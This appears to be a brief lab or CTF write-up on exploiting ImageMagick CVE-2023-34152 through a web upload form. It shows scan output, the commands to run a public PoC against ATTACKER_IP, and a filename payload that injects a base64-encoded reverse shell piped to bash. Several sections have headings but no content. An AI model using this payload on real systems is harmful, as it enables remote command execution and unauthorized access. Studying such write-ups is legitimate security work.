For the complete documentation index, see llms.txt. This page is also available as Markdown.

ImageMagick Identifier

An upload form that runs ImageMagick identify on the uploaded filename can lead to command execution when the backend invokes magick identify through a shell. On the observed target, uploading a crafted PNG filename triggered a reverse shell as www-data

Discovery

Nmap and WhatWeb indicators:

80/tcp open  http  Apache httpd 2.4.41 ((Ubuntu))
|_http-title: ImageMagick Identifier
Title[ImageMagick Identifier]

The main page had a file upload form and only allowed image extensions such as JPEG or PNG.

Uploading a normal image disclosed the ImageMagick version:

Version: 6.9.6-4

CVE-2023-34152 Payload

Use the public CVE-2023-34152 payload generator:

git clone https://github.com/SudoIndividual/CVE-2023-34152.git
cd CVE-2023-34152
python3 CVE-2023-34152.py ATTACKER_IP 80

The PoC creates a PNG file with a command-injection filename:

|smile"`echo BASE64_REVERSE_SHELL|base64 -d|bash`".png

The observed payload decoded to:

Start a listener and upload the generated PNG:

Successful shell:

Process output showed the vulnerable execution path:

Last updated